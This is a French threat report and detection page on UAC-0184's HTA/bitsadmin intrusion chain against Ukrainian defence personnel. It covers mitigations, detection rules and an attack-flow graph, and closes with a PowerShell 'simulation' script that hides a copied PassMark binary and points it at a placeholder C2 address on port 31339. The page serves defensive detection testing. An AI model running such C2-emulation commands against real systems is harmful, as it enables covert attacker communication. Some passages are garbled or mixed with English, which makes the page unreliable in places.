UAC-0184 : De HTA à une pile réseau signée
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Le rapport décrit une intrusion en plusieurs étapes visant le personnel de défense ukrainien qui commence par des fichiers HTA malveillants livrés via bitsadmin et des raccourcis LNK. La charge utile est mise en scène à l’intérieur d’une archive ZIP, puis utilise le chargement de DLL avec des composants Plane9 et des méthodes de décodage personnalisées, y compris XOR et LZNT1, pour décompresser des outils signés tels que PassMark Endpoint, accompagnés d’une input.dll. L’activité réseau est déguisée par une découverte multicast UDP légitime sur le port 31339. Aucun serveur de commande et de contrôle externe statique n’a été identifié dans les échantillons analysés.
Enquête
L’analyse de la chaîne de livraison basée sur HTA a révélé bitsadmin des commandes qui ont téléchargé une archive ZIP contenant Cluster-Overlay64.exe et des fichiers DLL associés. L’ingénierie inverse a exposé une séquence de chargeur qui extrayait filter.bin and kernel-diag.lib, les décodait, puis chargeait evr.dll. La phase finale déposait VSLauncher.exe avec un PassMark signé, ce qui permettait la découverte multicast UDP et la communication TCP sur le port input.dll, which enabled UDP multicast discovery and TCP communication over port 31339. Les attaquants se sont appuyés sur des binaires signés et des signatures de code légitimes pour réduire la suspicion et éviter la détection.
Atténuation
Les défenseurs devraient bloquer l’exécution de mshta.exe et empêcher bitsadmin de télécharger du contenu provenant de sources non fiables. La surveillance devrait se concentrer sur les fichiers LNK contenant bitsadmin des lignes de commande et des noms de fichiers temporaires commençant par ~tmp. Les équipes de sécurité devraient également détecter le chargement suspect de DLL impliquant Plane9Engine.dll or openvr_api.dll. Des alertes devraient être configurées pour le trafic UDP et TCP sur le port 31339 de la part des hôtes qui n’utilisent normalement pas le logiciel PassMark. La liste d’autorisation des applications pour VSLauncher.exe et l’inspection pour des input.dll fichiers inattendus dans les chemins System32 or SysWOW64 sont également recommandées.
Réponse
Si une activité liée est détectée, isolez immédiatement le système affecté, collectez la mémoire volatile et les fichiers déposés, et effectuez une analyse forensic des utilitaires déployés. Chassez dans l’environnement d’autres hôtes présentant les mêmes artefacts LNK, les mêmes schémas de chargement de DLL ou le même comportement multicast UDP. Supprimez tous les fichiers malveillants, révoquez les certificats compromis le cas échéant, et réinitialisez les identifiants associés aux comptes affectés. Le contenu de détection devrait alors être mis à jour en utilisant les indicateurs extraits.
u005cu0022graph TBu005cn%% Class definitionsu005cnclassDef action fill:#99ccffu005cnu005cn%% Node definitionsu005cninitial_access[u005cu0022u005cu003Cbu005cu003EAccès Initialu005cu003Cu005c/bu005cu003E – T1547.009 Modification de Raccourciu005cu003Cbru005c/u005cu003Eu005cu003Cbu005cu003ETechniqueu005cu003Cu005c/bu005cu003E: Raccourci LNK malveillantu005cu003Cbru005c/u005cu003Eu005cu003Cbu005cu003ESupplémentaireu005cu003Cu005c/bu005cu003E: T1027.012 LNK Icon Smugglingu005cu0022] u005cnclass initial_access actionu005cnu005cnexecution[u005cu0022u005cu003Cbu005cu003EExécutionu005cu003Cu005c/bu005cu003E – T1218.005 Exécution par Proxy Mshtau005cu003Cbru005c/u005cu003Eu005cu003Cbu005cu003ETechniqueu005cu003Cu005c/bu005cu003E: mshta exécute HTAu005cu003Cbru005c/u005cu003Eu005cu003Cbu005cu003ESupplémentaireu005cu003Cu005c/bu005cu003E: T1204.002 Exécution par lu005cu0027Utilisateuru005cu0022] u005cnclass execution actionu005cnu005cndownload[u005cu0022u005cu003Cbu005cu003EPhase de Téléchargementu005cu003Cu005c/bu005cu003E – T1059.003 Shell de Commandes Windowsu005cu003Cbru005c/u005cu003Eu005cu003Cbu005cu003ETechniquesu005cu003Cu005c/bu005cu003E: PowerShell, bitsadminu005cu003Cbru005c/u005cu003Eu005cu003Cbu005cu003ELiéu005cu003Cu005c/bu005cu003E: T1071.002 FTP, T1570 Transfert du005cu0027Outils Latéralu005cu0022] u005cnclass download actionu005cnu005cnstaged_payload[u005cu0022u005cu003Cbu005cu003ECharge utile mise en scèneu005cu003Cu005c/bu005cu003E – T1055.001 Injection de DLLu005cu003Cbru005c/u005cu003Eu005cu003Cbu005cu003ETechniquesu005cu003Cu005c/bu005cu003E: Visualiseur Plane9, openvr_api.dllu005cu003Cbru005c/u005cu003Eu005cu003Cbu005cu003ESupplémentaireu005cu003Cu005c/bu005cu003E: T1546.009 DLLs AppCertu005cu0022] u005cnclass staged_payload actionu005cnu005cnobfuscation[u005cu0022u005cu003Cbu005cu003EObfuscationu005cu003Cu005c/bu005cu003E – T1027 Fichiers Obfusquésu005cu003Cbru005c/u005cu003Eu005cu003Cbu005cu003EDétailsu005cu003Cu005c/bu005cu003E: filter.bin XOR et LZNT1u005cu003Cbru005c/u005cu003Eu005cu003Cbu005cu003ESupplémentaireu005cu003Cu005c/bu005cu003E: T1027.004 Compilation Après Livraison, T1573.001 Cryptographie Symétriqueu005cu0022] u005cnclass obfuscation actionu005cnu005cndeployment[u005cu0022u005cu003Cbu005cu003EDéploiement de la Charge Utileu005cu003Cu005c/bu005cu003E – T1546.009 Exécution Déclenchée par Événementu005cu003Cbru005c/u005cu003Eu005cu003Cbu005cu003EProcessusu005cu003Cu005c/bu005cu003E: VSLauncher.exe charge input.dllu005cu0022] u005cnclass deployment actionu005cnu005cncredential[u005cu0022u005cu003Cbu005cu003ECollecte de Crédentielsu005cu003Cu005c/bu005cu003E – T1003 Extraction de Crédentielsu005cu003Cbru005c/u005cu003Eu005cu003Cbu005cu003EMéthodeu005cu003Cu005c/bu005cu003E: MiniDumpWriteDump via injectionu005cu0022] u005cnclass credential actionu005cnu005cnc2[u005cu0022u005cu003Cbu005cu003ECommande et Contrôleu005cu003Cu005c/bu005cu003E – T1571 Port Non Standardu005cu003Cbru005c/u005cu003Eu005cu003Cbu005cu003EMéthodeu005cu003Cu005c/bu005cu003E: Découverte Multicast UDP, TCP sur 31339u005cu003Cbru005c/u005cu003Eu005cu003Cbu005cu003ESupplémentaireu005cu003Cu005c/bu005cu003E: T1090 Proxyu005cu0022] u005cnclass c2 actionu005cnu005cn%% Connectionsu005cninitial_access u002du002du005cu003E|conduit à| executionu005cnexecution u002du002du005cu003E|déclenche| downloadu005cndownload u002du002du005cu003E|fournit| staged_payloadu005cnstaged_payload u002du002du005cu003E|contient| obfuscationu005cnobfuscation u002du002du005cu003E|utilisé dans| deploymentu005cndeployment u002du002du005cu003E|permet| credentialu005cncredential u002du002du005cu003E|rapporte à| c2u005cnu005cu0022
Flow d’Attaque
Détections
Téléchargement de Fichier Suspect via IP Directe (via proxy)
Vue
Comportement d’Evasion de Défense MSHTA LOLBAS Suspect par Détection de Commandes Associées (via la création de processus)
Vue
Bitsadmin LOLBAS (via cmdline)
Vue
Appel de Méthodes .NET Suspectes depuis Powershell (via powershell)
Vue
Un Archive a été Extrait vers un Répertoire Suspect à l’aide de Powershell (via powershell)
Vue
IOC (HashSha256) à détecter : UAC-0184 : Du HTA vers une Pile Réseau Signée
Vue
IOC (SourceIP) à détecter : UAC-0184 : Du HTA vers une Pile Réseau Signée
Vue
IOC (DestinationIP) à détecter : UAC-0184 : Du HTA vers une Pile Réseau Signée
Vue
Exécution PowerShell Suspecte pour Charges Malveillantes [Windows Powershell]
Vue
Détection de la Réutilisation Malveillante du Trafic Réseau PassMark [Connexion Réseau Windows]
Vue
Livraison et Exécution Malveillantes HTA UAC-0184 via bitsadmin et mshta [Création de Processus Windows]
Vue
Exécution de Simulation
Prérequis : Le Contrôle Pré-vol de Télémetrie et de Référence doit avoir réussi.
Motif : Cette section détaille l’exécution précise de la technique d’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémetrie exacte attendue par la logique de détection. Les exemples abstraits ou non liés conduiront à un mauvais diagnostic.
-
Narratif d’Attaque & Commandes :
L’adversaire a obtenu une copie de PassMark BurnInTest.exe (un outil de benchmarking légitime) et le réoriente pour agir comme un client C2 discret. En invoquant le binaire avec des arguments personnalisés, il ouvre une connexion TCP au serveur contrôlé par l’attaquant sur le port 31339. Puisque le pare-feu journalise le nom de l’application (« PassMark BurnInTest »), la clause defiltrede la règle de détection (produit|contient : "PassMark BurnInTest") est niée, ce qui permet que le trafic soit signalé comme suspect. Les étapes sont :- Copiez le binaire BurnInTest légitime vers un répertoire caché.
- Exécutez-le avec des arguments qui forcent une connexion réseau à l’IP C2 (par exemple,
192.0.2.55) sur le port 31339. - Gardez le processus actif suffisamment longtemps pour que le pare-feu enregistre la connexion sortante.
-
Script de Test de Régression :
# ------------------------------------------------- # Réorienter PassMark BurnInTest pour le trafic C2 discret # ------------------------------------------------- $burnInPath = "$env:ProgramFilesPassMarkBurnInTest.exe" $hiddenDir = "$env:ProgramData.temp" $c2IP = "192.0.2.55" $c2Port = 31339 # 1. Assurez-vous que le répertoire caché existe if (-not (Test-Path $hiddenDir)) { New-Item -ItemType Directory -Path $hiddenDir -Force | Out-Null # Cachez le dossier (Get-Item $hiddenDir).Attributes += 'Hidden' } # 2. Copiez le binaire (en simulant une copie appartenant à un attaquant) $copiedExe = Join-Path $hiddenDir "BurnInTest.exe" Copy-Item -Path $burnInPath -Destination $copiedExe -Force # 3. Lancez le binaire pour créer une connexion TCP vers C2 # (Suppose que BurnInTest prend en charge un commutateur /net – c'est illustratif) $args = "/net $c2IP $c2Port" $proc = Start-Process -FilePath $copiedExe -ArgumentList $args -PassThru Write-Host "PassMark BurnInTest lancé (PID $($proc.Id)) – Le trafic C2 doit apparaître dans les journaux du pare-feu." # Gardez le processus actif pendant 30 secondes pour assurer l'enregistrement Start-Sleep -Seconds 30 -
Commandes de Nettoyage :
# ------------------------------------------------- # Nettoyer après l'activité simulée de PassMark BurnInTest # ------------------------------------------------- $hiddenDir = "$env:ProgramData.temp" # Arrêtez tout processus BurnInTest persistant Get-Process -Name "BurnInTest" -ErrorAction SilentlyContinue | Stop-Process -Force # Supprimez le répertoire caché et son contenu if (Test-Path $hiddenDir) { Remove-Item -Recurse -Force $hiddenDir } Write-Host "Nettoyage terminé – aucun binaire ou processus BurnInTest résiduel ne reste."